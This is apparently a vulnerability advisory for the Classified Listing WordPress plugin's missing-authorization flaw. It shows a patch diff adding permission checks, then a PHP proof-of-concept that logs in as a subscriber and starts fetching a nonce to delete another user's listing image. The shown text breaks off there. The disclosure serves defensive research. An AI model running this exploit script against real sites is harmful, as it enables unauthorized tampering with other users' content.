 		} else {
 			$upload = Functions::upload_item_data( $attach_id );
 			if ( isset( $upload["sizes"]["full"]["is_intermidiate"] ) && $upload["sizes"]["full"]["is_intermidiate"] ) {
@@ -554,25 +756,25 @@

 		$image = wp_get_image_editor( $attached_file );

-		if ( !empty( $history ) ) {
+		if ( ! empty( $history ) ) {
 			foreach ( $history as $c ) {
-				if ( !isset( $c->a ) ) {
+				if ( ! isset( $c->a ) ) {
 					continue;
 				}
 				if ( $c->a == "c" ) {
 					$image->crop( intval( $c->x ), intval( $c->y ), $c->w, $c->h );
-				} else if ( $c->a == "ro" ) {
+				} elseif ( $c->a == "ro" ) {
 					$image->rotate( $c->v );
-				} else if ( $c->a == "re" ) {
+				} elseif ( $c->a == "re" ) {
 					// resize
 					$image->resize( $c->w, $c->h );
-				} else if ( $c->a == "f" ) {
+				} elseif ( $c->a == "f" ) {
 					$image->flip( $c->h, $c->v );
 				}
 			}
 		}

-		if ( !is_wp_error( $image ) ) {
+		if ( ! is_wp_error( $image ) ) {
 			$image->stream();
 		}

--- a/classified-listing/app/Controllers/Ajax/FormBuilderAjax.php
+++ b/classified-listing/app/Controllers/Ajax/FormBuilderAjax.php
@@ -177,7 +177,7 @@
 					$post_arg['post_author'] = $user_id;
 				}
 			} else {
-				if ( current_user_can( 'manage_options' ) && !in_array( $listing->get_listing()->post_author, [ apply_filters( 'rtcl_listing_post_user_id', get_current_user_id() ), get_current_user_id() ] ) ) {
+				if ( current_user_can( 'manage_options' ) && ! in_array( $listing->get_listing()->post_author, [ apply_filters( 'rtcl_listing_post_user_id', get_current_user_id() ), get_current_user_id() ] ) ) {
 					$postingType = 'update';
 				}
 			}
@@ -1499,6 +1499,14 @@
 			return;
 		}

+		$listing_id = isset( $_POST['listingId'] ) ? absint( $_POST['listingId'] ) : 0;
+
+		if ( ! current_user_can( 'manage_categories' ) && ! apply_filters( 'rtcl_user_can_create_tag', false, $listing_id ) ) {
+			wp_send_json_error( __( "You don't have permission to create tags.", 'classified-listing' ) );
+
+			return;
+		}
+
 		$tagName = ! empty( $_POST['tag_name'] ) ? sanitize_text_field( $_POST['tag_name'] ) : '';
 		if ( empty( $tagName ) ) {
 			wp_send_json_error( __( 'Tag name is required', 'classified-listing' ) );
@@ -1506,6 +1514,29 @@
 			return;
 		}

+		// Enforce a sane length limit.
+		$maxLength = apply_filters( 'rtcl_tag_name_max_length', 64 );
+		if ( mb_strlen( $tagName ) > $maxLength ) {
+			wp_send_json_error(
+			/* translators: %d: maximum allowed characters */
+				sprintf( __( 'Tag name must not exceed %d characters.', 'classified-listing' ), $maxLength ),
+			);
+
+			return;
+		}
+
+		// Prevent duplicate tags – return the existing term instead of creating a new one.
+		$existingTerm = term_exists( $tagName, rtcl()->tag );
+		if ( $existingTerm ) {
+			$term = get_term( is_array( $existingTerm ) ? $existingTerm['term_id'] : $existingTerm, rtcl()->tag );
+			if ( $term && ! is_wp_error( $term ) ) {
+				wp_send_json_success( [
+					'data' => $term,
+				] );
+
+				return;
+			}
+		}

 		$newTag = wp_create_term( $tagName, rtcl()->tag );
 		if ( is_wp_error( $newTag ) ) {
@@ -1515,7 +1546,7 @@
 		}
 		$term = get_term( $newTag['term_id'], rtcl()->tag );

-		if ( ! $term || is_wp_error( $newTag ) ) {
+		if ( ! $term || is_wp_error( $term ) ) {
 			wp_send_json_error( __( 'Error while creating new tag.', 'classified-listing' ) );

 			return;
--- a/classified-listing/app/Controllers/Hooks/TemplateLoader.php
+++ b/classified-listing/app/Controllers/Hooks/TemplateLoader.php
@@ -92,7 +92,7 @@
 			$default_file = 'single-' . rtcl()->post_type . '.php';
 		} elseif ( Functions::is_listing_taxonomy() ) {
 			$object = get_queried_object();
-			if ( is_tax( rtcl()->category ) || is_tax( rtcl()->location ) ) {
+			if ( is_tax( rtcl()->category ) || is_tax( rtcl()->location ) || is_tax( rtcl()->tag ) ) {
 				$default_file = 'taxonomy-' . $object->taxonomy . '.php';
 			} else {
 				$default_file = 'archive-' . rtcl()->post_type . '.php';
@@ -174,6 +174,7 @@
 		if ( $queried_object && isset( $queried_object->taxonomy ) ) {
 			$queried_tax = $queried_object->taxonomy;
 		}
+		$tag = '';
 		switch ( $queried_tax ) {
 			case 'rtcl_location':
 				$location = $queried_object->slug;
@@ -183,6 +184,11 @@
 				$category = $queried_object->slug;
 				$location = get_query_var( 'rtcl_location' );
 				break;
+			case 'rtcl_tag':
+				$tag      = $queried_object->slug;
+				$category = get_query_var( 'rtcl_category' );
+				$location = get_query_var( 'rtcl_location' );
+				break;
 			default:
 				$category = get_query_var( 'rtcl_category' );
 				$location = get_query_var( 'rtcl_location' );
@@ -196,9 +202,12 @@
 			'limit'    => apply_filters( 'rtcl_loop_listing_per_page', Functions::get_option_item( 'rtcl_archive_listing_settings', 'listings_per_page' ) )
 		];

-		if ( Functions::is_listing_category() || Functions::is_listing_location() ) {
+		if ( Functions::is_listing_category() || Functions::is_listing_location() || Functions::is_listing_tag() ) {
 			$shortcode_args['category'] = $category;
 			$shortcode_args['location'] = $location;
+			if ( $tag ) {
+				$shortcode_args['tag'] = $tag;
+			}
 		} else {
 			// Default theme archive for all other taxonomies.
 			return;
--- a/classified-listing/app/Helpers/Functions.php
+++ b/classified-listing/app/Helpers/Functions.php
@@ -358,6 +358,17 @@
 	}

 	/**
+	 * Check is Listing Tag archive page
+	 *
+	 * @param  string  $term
+	 *
+	 * @return bool
+	 */
+	public static function is_listing_tag( $term = '' ) {
+		return is_tax( rtcl()->tag, $term );
+	}
+
+	/**
 	 * Is_ajax - Returns true when the page is loaded via ajax.
 	 *
 	 * @return bool
--- a/classified-listing/app/Helpers/Upgrade.php
+++ b/classified-listing/app/Helpers/Upgrade.php
@@ -6,46 +6,50 @@

 use RtclModelsRoles;

-class Upgrade
-{
+class Upgrade {

-    static function init() {
-        add_action('init', [__CLASS__, 'run_upgrade']);
-    }
+	static function init() {
+		add_action( 'init', [ __CLASS__, 'run_upgrade' ] );
+	}

-    public static function run_upgrade() {
+	public static function run_upgrade() {
 //        self::upgrade_to_1_5_5();
 //        self::upgrade_to_1_5_59();
-    }
+		self::upgrade_to_5_3_10();
+	}

-    public static function upgrade_to_1_5_59() {
-        $old_version = get_option('rtcl_pro_version');
-        if ($old_version && version_compare($old_version, '1.5.59') < 0) {
-            Roles::remove_default_caps();
-            Roles::create_roles();
-            update_option('rtcl_queue_flush_rewrite_rules', 'yes');
-            self::update_rtcl_version('1.5.59');
-        }
-    }
-
-    public static function upgrade_to_1_5_5() {
-        $old_version = get_option('rtcl_pro_version');
-        if ($old_version && version_compare($old_version, '1.5.5') < 0) {
-            if ($listings_page_id = Functions::get_page_id('listings')) {
-                $my_post = array(
-                    'ID'           => $listings_page_id,
-                    'post_content' => ''
-                );
-                wp_update_post($my_post);
-            }
-            update_option('rtcl_queue_flush_rewrite_rules', 'yes');
-            self::update_rtcl_version('1.5.5');
-        }
-    }
-
-    static function update_rtcl_version($version = '') {
-        $version = $version ?: RTCL_VERSION;
-        delete_option('rtcl_pro_version');
-        add_option('rtcl_pro_version', $version);
-    }
+	public static function upgrade_to_5_3_10() {
+		Roles::add_listing_gallery_caps();
+	}
+
+	public static function upgrade_to_1_5_59() {
+		$old_version = get_option( 'rtcl_pro_version' );
+		if ( $old_version && version_compare( $old_version, '1.5.59' ) < 0 ) {
+			Roles::remove_default_caps();
+			Roles::create_roles();
+			update_option( 'rtcl_queue_flush_rewrite_rules', 'yes' );
+			self::update_rtcl_version( '1.5.59' );
+		}
+	}
+
+	public static function upgrade_to_1_5_5() {
+		$old_version = get_option( 'rtcl_pro_version' );
+		if ( $old_version && version_compare( $old_version, '1.5.5' ) < 0 ) {
+			if ( $listings_page_id = Functions::get_page_id( 'listings' ) ) {
+				$my_post = [
+					'ID'           => $listings_page_id,
+					'post_content' => '',
+				];
+				wp_update_post( $my_post );
+			}
+			update_option( 'rtcl_queue_flush_rewrite_rules', 'yes' );
+			self::update_rtcl_version( '1.5.5' );
+		}
+	}
+
+	static function update_rtcl_version( $version = '' ) {
+		$version = $version ?: RTCL_VERSION;
+		delete_option( 'rtcl_pro_version' );
+		add_option( 'rtcl_pro_version', $version );
+	}
 }
 No newline at end of file
--- a/classified-listing/app/Models/Roles.php
+++ b/classified-listing/app/Models/Roles.php
@@ -4,431 +4,430 @@

 use WP_Roles;

-class Roles
-{
+class Roles {

-    /**
-     * Create roles and capabilities.
-     */
-    public static function create_roles() {
-        global $wp_roles;
-
-        if (!class_exists('WP_Roles')) {
-            return;
-        }
-
-        if (!isset($wp_roles)) {
-            $wp_roles = new WP_Roles(); // @codingStandardsIgnoreLine
-        }
-
-        // Dummy gettext calls to get strings in the catalog.
-        _x('Listing manager', 'User role', 'classified-listing');
-
-
-        // Shop manager role.
-        add_role(
-            'rtcl_manager',
-            'Listing Manager',
-            array(
-                'level_9'                => true,
-                'level_8'                => true,
-                'level_7'                => true,
-                'level_6'                => true,
-                'level_5'                => true,
-                'level_4'                => true,
-                'level_3'                => true,
-                'level_2'                => true,
-                'level_1'                => true,
-                'level_0'                => true,
-                'read'                   => true,
-                'read_private_pages'     => true,
-                'read_private_posts'     => true,
-                'edit_posts'             => true,
-                'edit_pages'             => true,
-                'edit_published_posts'   => true,
-                'edit_published_pages'   => true,
-                'edit_private_pages'     => true,
-                'edit_private_posts'     => true,
-                'edit_others_posts'      => true,
-                'edit_others_pages'      => true,
-                'publish_posts'          => true,
-                'publish_pages'          => true,
-                'delete_posts'           => true,
-                'delete_pages'           => true,
-                'delete_private_pages'   => true,
-                'delete_private_posts'   => true,
-                'delete_published_pages' => true,
-                'delete_published_posts' => true,
-                'delete_others_posts'    => true,
-                'delete_others_pages'    => true,
-                'manage_categories'      => true,
-                'manage_links'           => true,
-                'moderate_comments'      => true,
-                'upload_files'           => true,
-                'export'                 => true,
-                'import'                 => true,
-                'list_users'             => true,
-                'edit_theme_options'     => true,
-            )
-        );
-
-        $capabilities = self::get_core_caps();
-
-        foreach ($capabilities as $cap_group) {
-            foreach ($cap_group as $cap) {
-                $wp_roles->add_cap('rtcl_manager', $cap);
-                $wp_roles->add_cap('administrator', $cap);
-            }
-        }
-    }
-
-    /**
-     * Remove Classified Listing roles.
-     */
-    public static function remove_roles() {
-        global $wp_roles;
-
-        if (!class_exists('WP_Roles')) {
-            return;
-        }
-
-        if (!isset($wp_roles)) {
-            $wp_roles = new WP_Roles(); // @codingStandardsIgnoreLine
-        }
-
-        $capabilities = self::get_core_caps();
-
-        foreach ($capabilities as $cap_group) {
-            foreach ($cap_group as $cap) {
-                $wp_roles->remove_cap('rtcl_manager', $cap);
-                $wp_roles->remove_cap('administrator', $cap);
-            }
-        }
-
-        remove_role('rtcl_manager');
-    }
-
-    public static function add_default_caps() {
-        global $wp_roles;
-
-        if (class_exists('WP_Roles')) {
-            if (!isset($wp_roles)) {
-                $wp_roles = new WP_Roles();
-            }
-        }
-
-        if (is_object($wp_roles)) {
-
-            // Add the "administrator" capabilities
-            $capabilities = self::get_core_caps();
-            foreach ($capabilities as $cap_group) {
-                foreach ($cap_group as $cap) {
-                    $wp_roles->add_cap('administrator', $cap);
-                }
-            }
-
-            // Add Default caps
-            $role_caps = self::get_roles_default_caps();
-
-            foreach ($role_caps as $role => $caps) {
-                if (is_array($caps) && !empty($caps)) {
-                    foreach ($caps as $cap) {
-                        $wp_roles->add_cap($role, $cap);
-                    }
-                }
-                // Add extra role caps with specific role
-                do_action('rtcl_roles_add_default_caps_' . $role, $wp_roles, rtcl()->post_type);
-            }
-
-            // Add extra work when rtcl role is
-            do_action('rtcl_roles_add_default_caps', $wp_roles, rtcl()->post_type);
-        }
-    }
-
-    /**
-     * @param array | string $roles
-     */
-    public static function add_core_caps($roles) {
-        if (empty($roles)) {
-            return;
-        }
-
-        $roles = is_array($roles) ? $roles : [$roles];
-
-        global $wp_roles;
-
-        if (class_exists('WP_Roles')) {
-            if (!isset($wp_roles)) {
-                $wp_roles = new WP_Roles();
-            }
-        }
-
-        if (is_object($wp_roles)) {
-            foreach ($roles as $role) {
-                $capabilities = self::get_core_caps();
-                foreach ($capabilities as $cap_group) {
-                    foreach ($cap_group as $cap) {
-                        $wp_roles->add_cap($role, $cap);
-                    }
-                }
-            }
-        }
-    }
-
-    public static function remove_code_caps($roles) {
-        if (empty($roles)) {
-            return;
-        }
-
-        $roles = is_array($roles) ? $roles : [$roles];
-
-        global $wp_roles;
-
-        if (class_exists('WP_Roles')) {
-            if (!isset($wp_roles)) {
-                $wp_roles = new WP_Roles();
-            }
-        }
-
-        if (is_object($wp_roles)) {
-            foreach ($roles as $role) {
-                $capabilities = self::get_core_caps();
-                foreach ($capabilities as $cap_group) {
-                    foreach ($cap_group as $cap) {
-                        $wp_roles->remove_cap($role, $cap);
-                    }
-                }
-            }
-        }
-    }
-
-    public static function get_core_caps() {
-
-        $capabilities = array();
-        $capabilities['core'] = ['manage_rtcl_options', 'manage_rtcl_reports', 'manage_rtcl_store'];
-        $capability_types = ['rtcl_listing', 'rtcl_pricing', 'rtcl_payment'];
-
-        foreach ($capability_types as $capability_type) {
-
-            $capabilities[$capability_type] = array(
-                "add_{$capability_type}",
-                "edit_{$capability_type}",
-                "read_{$capability_type}",
-                "delete_{$capability_type}",
-                "edit_{$capability_type}s",
-                "edit_others_{$capability_type}s",
-                "publish_{$capability_type}s",
-                "read_private_{$capability_type}s",
-                "delete_{$capability_type}s",
-                "delete_private_{$capability_type}s",
-                "delete_published_{$capability_type}s",
-                "delete_others_{$capability_type}s",
-                "edit_private_{$capability_type}s",
-                "edit_published_{$capability_type}s",
-            );
-        }
-
-        return apply_filters('rtcl_roles_get_core_caps', $capabilities);
-    }
-
-    public static function get_roles_default_caps() {
-
-        $caps = [
-            'editor'      => [
-                'add_' . rtcl()->post_type,
-                'edit_' . rtcl()->post_type . 's',
-                'edit_others_' . rtcl()->post_type . 's',
-                'publish_' . rtcl()->post_type . 's',
-                'read_private_' . rtcl()->post_type . 's',
-                'delete_' . rtcl()->post_type . 's',
-                'delete_private_' . rtcl()->post_type . 's',
-                'delete_published_' . rtcl()->post_type . 's',
-                'delete_others_' . rtcl()->post_type . 's',
-                'edit_private_' . rtcl()->post_type . 's',
-                'edit_published_' . rtcl()->post_type . 's',
-            ],
-            'author'      => [
-                'add_' . rtcl()->post_type,
-                'edit_' . rtcl()->post_type . 's',
-                'publish_' . rtcl()->post_type . 's',
-                'delete_' . rtcl()->post_type . 's',
-                'delete_published_' . rtcl()->post_type . 's',
-                'edit_published_' . rtcl()->post_type . 's',
-            ],
-            'contributor' => [
-                'add_' . rtcl()->post_type,
-                'edit_' . rtcl()->post_type . 's',
-                'publish_' . rtcl()->post_type . 's',
-                'delete_' . rtcl()->post_type . 's',
-                'delete_published_' . rtcl()->post_type . 's',
-                'edit_published_' . rtcl()->post_type . 's',
-            ],
-            'subscriber'  => [
-                'add_' . rtcl()->post_type,
-                'edit_' . rtcl()->post_type . 's',
-                'publish_' . rtcl()->post_type . 's',
-                'delete_' . rtcl()->post_type . 's',
-                'delete_published_' . rtcl()->post_type . 's',
-                'edit_published_' . rtcl()->post_type . 's',
-            ]
-        ];
-
-        return apply_filters('rtcl_roles_get_roles_default_caps', $caps);
-    }
-
-    public static function get_default_caps() {
-        $caps = [
-            'add_' . rtcl()->post_type,
-            'edit_' . rtcl()->post_type . 's',
-            'publish_' . rtcl()->post_type . 's',
-            'delete_' . rtcl()->post_type . 's',
-            'delete_published_' . rtcl()->post_type . 's',
-            'edit_published_' . rtcl()->post_type . 's',
-        ];
-
-        return apply_filters('rtcl_roles_get_default_caps', $caps);
-    }
-
-    /**
-     * @param array | string $roles
-     */
-    public static function add_custom_caps($roles) {
-        if (empty($roles)) {
-            return;
-        }
-
-        $roles = is_array($roles) ? $roles : [$roles];
-
-        global $wp_roles;
-
-        if (class_exists('WP_Roles')) {
-            if (!isset($wp_roles)) {
-                $wp_roles = new WP_Roles();
-            }
-        }
-
-        if (is_object($wp_roles)) {
-            $caps = self::get_default_caps();
-            foreach ($roles as $role) {
-                if (is_array($caps) && !empty($caps)) {
-                    foreach ($caps as $cap) {
-                        $wp_roles->add_cap($role, $cap);
-                    }
-                }
-            }
-        }
-
-    }
-
-
-    /**
-     * @param array | string $roles
-     */
-    public static function remove_custom_caps($roles) {
-        if (!$roles) {
-            return;
-        }
-
-        $roles = is_array($roles) ? $roles : [$roles];
-
-        global $wp_roles;
-
-        if (class_exists('WP_Roles')) {
-            if (!isset($wp_roles)) {
-                $wp_roles = new WP_Roles();
-            }
-        }
-
-        if (is_object($wp_roles)) {
-            $caps = self::get_default_caps();
-            foreach ($roles as $role) {
-                if (is_array($caps) && !empty($caps)) {
-                    foreach ($caps as $cap) {
-                        $wp_roles->remove_cap($role, $cap);
-                    }
-                }
-            }
-        }
-
-    }
-
-    public static function meta_caps($caps, $cap, $user_id, $args) {
-
-        // If editing, deleting, or reading a listing, get the post and post type object.
-        if ('edit_' . rtcl()->post_type == $cap || 'delete_' . rtcl()->post_type == $cap || 'read_' . rtcl()->post_type == $cap) {
-            $post = get_post($args[0]);
-            $post_type = get_post_type_object($post->post_type);
-
-            // Set an empty array for the caps.
-            $caps = array();
-        }
-
-        // If editing a listing, assign the required capability.
-        if ('edit_' . rtcl()->post_type == $cap) {
-            if ($user_id == $post->post_author) {
-                $caps[] = $post_type->cap->edit_listings;
-            } else {
-                $caps[] = $post_type->cap->edit_others_listings;
-            }
-        } // If deleting a listing, assign the required capability.
-        else if ('delete_' . rtcl()->post_type == $cap) {
-            if ($user_id == $post->post_author) {
-                $caps[] = $post_type->cap->delete_listings;
-            } else {
-                $caps[] = $post_type->cap->delete_others_listings;
-            }
-        } // If reading a private listing, assign the required capability.
-        else if ('read_' . rtcl()->post_type == $cap) {
-            if ('private' != $post->post_status) {
-                $caps[] = 'read';
-            } elseif ($user_id == $post->post_author) {
-                $caps[] = 'read';
-            } else {
-                $caps[] = $post_type->cap->read_private_listings;
-            }
-        }
-
-        // Return the capabilities required by the user.
-        return $caps;
-
-    }
-
-    public static function remove_default_caps() {
-
-        global $wp_roles;
-
-        if (class_exists('WP_Roles')) {
-            if (!isset($wp_roles)) {
-                $wp_roles = new WP_Roles();
-            }
-        }
-
-        if (is_object($wp_roles)) {
-
-            // Remove the "administrator" Capabilities
-            $capabilities = self::get_core_caps();
-
-            foreach ($capabilities as $cap_group) {
-                foreach ($cap_group as $cap) {
-                    $wp_roles->remove_cap('administrator', $cap);
-                }
-            }
-
-            // Remove Default caps
-            $role_caps = self::get_roles_default_caps();
-
-            foreach ($role_caps as $role => $caps) {
-                if (is_array($caps) && !empty($caps)) {
-                    foreach ($caps as $cap) {
-                        $wp_roles->remove_cap($role, $cap);
-                    }
-                }
-                // Remove extra role caps with specific role
-                do_action('rtcl_roles_remove_default_caps_' . $role, $wp_roles, rtcl()->post_type);
-            }
-
-            // Remove extra work when rtcl role is remove cap
-            do_action('rtcl_roles_remove_default_caps', $wp_roles, rtcl()->post_type);
-        }
-    }
+	/**
+	 * Create roles and capabilities.
+	 */
+	public static function create_roles() {
+		global $wp_roles;
+
+		if ( ! class_exists( 'WP_Roles' ) ) {
+			return;
+		}
+
+		if ( ! isset( $wp_roles ) ) {
+			$wp_roles = new WP_Roles(); // @codingStandardsIgnoreLine
+		}
+
+		// Dummy gettext calls to get strings in the catalog.
+		_x( 'Listing manager', 'User role', 'classified-listing' );
+
+		// Gallery upload capability.
+		self::add_listing_gallery_caps();
+
+		// Shop manager role.
+		add_role(
+			'rtcl_manager',
+			'Listing Manager',
+			[
+				'level_9'                => true,
+				'level_8'                => true,
+				'level_7'                => true,
+				'level_6'                => true,
+				'level_5'                => true,
+				'level_4'                => true,
+				'level_3'                => true,
+				'level_2'                => true,
+				'level_1'                => true,
+				'level_0'                => true,
+				'read'                   => true,
+				'read_private_pages'     => true,
+				'read_private_posts'     => true,
+				'edit_posts'             => true,
+				'edit_pages'             => true,
+				'edit_published_posts'   => true,
+				'edit_published_pages'   => true,
+				'edit_private_pages'     => true,
+				'edit_private_posts'     => true,
+				'edit_others_posts'      => true,
+				'edit_others_pages'      => true,
+				'publish_posts'          => true,
+				'publish_pages'          => true,
+				'delete_posts'           => true,
+				'delete_pages'           => true,
+				'delete_private_pages'   => true,
+				'delete_private_posts'   => true,
+				'delete_published_pages' => true,
+				'delete_published_posts' => true,
+				'delete_others_posts'    => true,
+				'delete_others_pages'    => true,
+				'manage_categories'      => true,
+				'manage_links'           => true,
+				'moderate_comments'      => true,
+				'upload_files'           => true,
+				'export'                 => true,
+				'import'                 => true,
+				'list_users'             => true,
+				'edit_theme_options'     => true,
+			],
+		);
+
+		$capabilities = self::get_core_caps();
+
+		foreach ( $capabilities as $cap_group ) {
+			foreach ( $cap_group as $cap ) {
+				$wp_roles->add_cap( 'rtcl_manager', $cap );
+				$wp_roles->add_cap( 'administrator', $cap );
+			}
+		}
+	}
+
+	public static function add_listing_gallery_caps() {
+		$role = get_role( 'subscriber' );
+
+		if ( $role && ! $role->has_cap( 'manage_rtcl_listing_images' ) ) {
+			$role->add_cap( 'manage_rtcl_listing_images' );
+		}
+	}
+
+	/**
+	 * Remove Classified Listing roles.
+	 */
+	public static function remove_roles() {
+		global $wp_roles;
+
+		if ( ! class_exists( 'WP_Roles' ) ) {
+			return;
+		}
+
+		if ( ! isset( $wp_roles ) ) {
+			$wp_roles = new WP_Roles(); // @codingStandardsIgnoreLine
+		}
+
+		$capabilities = self::get_core_caps();
+
+		foreach ( $capabilities as $cap_group ) {
+			foreach ( $cap_group as $cap ) {
+				$wp_roles->remove_cap( 'rtcl_manager', $cap );
+				$wp_roles->remove_cap( 'administrator', $cap );
+			}
+		}
+
+		remove_role( 'rtcl_manager' );
+	}
+
+	public static function add_default_caps() {
+		global $wp_roles;
+
+		if ( class_exists( 'WP_Roles' ) ) {
+			if ( ! isset( $wp_roles ) ) {
+				$wp_roles = new WP_Roles();
+			}
+		}
+
+		if ( is_object( $wp_roles ) ) {
+			// Add the "administrator" capabilities
+			$capabilities = self::get_core_caps();
+			foreach ( $capabilities as $cap_group ) {
+				foreach ( $cap_group as $cap ) {
+					$wp_roles->add_cap( 'administrator', $cap );
+				}
+			}
+
+			// Add Default caps
+			$role_caps = self::get_roles_default_caps();
+
+			foreach ( $role_caps as $role => $caps ) {
+				if ( is_array( $caps ) && ! empty( $caps ) ) {
+					foreach ( $caps as $cap ) {
+						$wp_roles->add_cap( $role, $cap );
+					}
+				}
+				// Add extra role caps with specific role
+				do_action( 'rtcl_roles_add_default_caps_' . $role, $wp_roles, rtcl()->post_type );
+			}
+
+			// Add extra work when rtcl role is
+			do_action( 'rtcl_roles_add_default_caps', $wp_roles, rtcl()->post_type );
+		}
+	}
+
+	/**
+	 * @param  array | string  $roles
+	 */
+	public static function add_core_caps( $roles ) {
+		if ( empty( $roles ) ) {
+			return;
+		}
+
+		$roles = is_array( $roles ) ? $roles : [ $roles ];
+
+		global $wp_roles;
+
+		if ( class_exists( 'WP_Roles' ) ) {
+			if ( ! isset( $wp_roles ) ) {
+				$wp_roles = new WP_Roles();
+			}
+		}
+
+		if ( is_object( $wp_roles ) ) {
+			foreach ( $roles as $role ) {
+				$capabilities = self::get_core_caps();
+				foreach ( $capabilities as $cap_group ) {
+					foreach ( $cap_group as $cap ) {
+						$wp_roles->add_cap( $role, $cap );
+					}
+				}
+			}
+		}
+	}
+
+	public static function remove_code_caps( $roles ) {
+		if ( empty( $roles ) ) {
+			return;
+		}
+
+		$roles = is_array( $roles ) ? $roles : [ $roles ];
+
+		global $wp_roles;
+
+		if ( class_exists( 'WP_Roles' ) ) {
+			if ( ! isset( $wp_roles ) ) {
+				$wp_roles = new WP_Roles();
+			}
+		}
+
+		if ( is_object( $wp_roles ) ) {
+			foreach ( $roles as $role ) {
+				$capabilities = self::get_core_caps();
+				foreach ( $capabilities as $cap_group ) {
+					foreach ( $cap_group as $cap ) {
+						$wp_roles->remove_cap( $role, $cap );
+					}
+				}
+			}
+		}
+	}
+
+	public static function get_core_caps() {
+		$capabilities         = [];
+		$capabilities['core'] = [ 'manage_rtcl_options', 'manage_rtcl_reports', 'manage_rtcl_store' ];
+		$capability_types     = [ 'rtcl_listing', 'rtcl_pricing', 'rtcl_payment' ];
+
+		foreach ( $capability_types as $capability_type ) {
+			$capabilities[ $capability_type ] = [
+				"add_{$capability_type}",
+				"edit_{$capability_type}",
+				"read_{$capability_type}",
+				"delete_{$capability_type}",
+				"edit_{$capability_type}s",
+				"edit_others_{$capability_type}s",
+				"publish_{$capability_type}s",
+				"read_private_{$capability_type}s",
+				"delete_{$capability_type}s",
+				"delete_private_{$capability_type}s",
+				"delete_published_{$capability_type}s",
+				"delete_others_{$capability_type}s",
+				"edit_private_{$capability_type}s",
+				"edit_published_{$capability_type}s",
+			];
+		}
+
+		return apply_filters( 'rtcl_roles_get_core_caps', $capabilities );
+	}
+
+	public static function get_roles_default_caps() {
+		$caps = [
+			'editor'      => [
+				'add_' . rtcl()->post_type,
+				'edit_' . rtcl()->post_type . 's',
+				'edit_others_' . rtcl()->post_type . 's',
+				'publish_' . rtcl()->post_type . 's',
+				'read_private_' . rtcl()->post_type . 's',
+				'delete_' . rtcl()->post_type . 's',
+				'delete_private_' . rtcl()->post_type . 's',
+				'delete_published_' . rtcl()->post_type . 's',
+				'delete_others_' . rtcl()->post_type . 's',
+				'edit_private_' . rtcl()->post_type . 's',
+				'edit_published_' . rtcl()->post_type . 's',
+			],
+			'author'      => [
+				'add_' . rtcl()->post_type,
+				'edit_' . rtcl()->post_type . 's',
+				'publish_' . rtcl()->post_type . 's',
+				'delete_' . rtcl()->post_type . 's',
+				'delete_published_' . rtcl()->post_type . 's',
+				'edit_published_' . rtcl()->post_type . 's',
+			],
+			'contributor' => [
+				'add_' . rtcl()->post_type,
+				'edit_' . rtcl()->post_type . 's',
+				'publish_' . rtcl()->post_type . 's',
+				'delete_' . rtcl()->post_type . 's',
+				'delete_published_' . rtcl()->post_type . 's',
+				'edit_published_' . rtcl()->post_type . 's',
+			],
+			'subscriber'  => [
+				'add_' . rtcl()->post_type,
+				'edit_' . rtcl()->post_type . 's',
+				'publish_' . rtcl()->post_type . 's',
+				'delete_' . rtcl()->post_type . 's',
+				'delete_published_' . rtcl()->post_type . 's',
+				'edit_published_' . rtcl()->post_type . 's',
+			],
+		];
+
+		return apply_filters( 'rtcl_roles_get_roles_default_caps', $caps );
+	}
+
+	public static function get_default_caps() {
+		$caps = [
+			'add_' . rtcl()->post_type,
+			'edit_' . rtcl()->po

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
<?php
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-42651 - Classified Listing – AI-Powered Classified ads & Business Directory Plugin <= 5.3.9 - Missing Authorization

/**
 * This PoC demonstrates deleting an image from a listing that the attacker does not own.
 * The attacker must have a subscriber-level account on the target WordPress site.
 * The vulnerability allows any authenticated user to perform actions on any listing's images.
 */

// Configuration - replace these with actual target values
$target_url = 'http://example.com'; // WordPress site URL
$username = 'attacker'; // WordPress username with subscriber role
$password = 'password123'; // Password for the attacker account
$target_listing_id = 123; // ID of the listing the attacker wants to delete an image from
$target_attachment_id = 456; // ID of the attachment (image) to delete

// Step 1: Authenticate with the WordPress site
$login_url = $target_url . '/wp-login.php';
$login_data = [
    'log' => $username,
    'pwd' => $password,
    'rememberme' => 'forever',
    'wp-submit' => 'Log In'
];

$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $login_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($login_data));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_COOKIEJAR, '/tmp/cookies.txt');
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_USERAGENT, 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36');
$login_response = curl_exec($ch);

if (curl_error($ch)) {
    die('Login failed: ' . curl_error($ch) . "n");
}

// Step 2: Get the AJAX nonce by visiting the page (or we can use a placeholder for demo)
// In a real attack, the attacker would need a valid nonce. The vulnerability
// still requires a valid nonce, but the authorization check is missing.
$ajax_url = $target_url . '/wp-admin/admin-ajax.php';

// First, let's try to get a valid nonce by fetching a page that contains it
$page_url = $target_url . '/?p=' . $target_listing_id;
curl_setopt($ch, CURLOPT_URL, $page_url);
curl_setopt($ch, CURLOPT_POST, false);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
$page_response = curl_exec($ch);

// Extract nonce from the page (this is a simplified extraction)
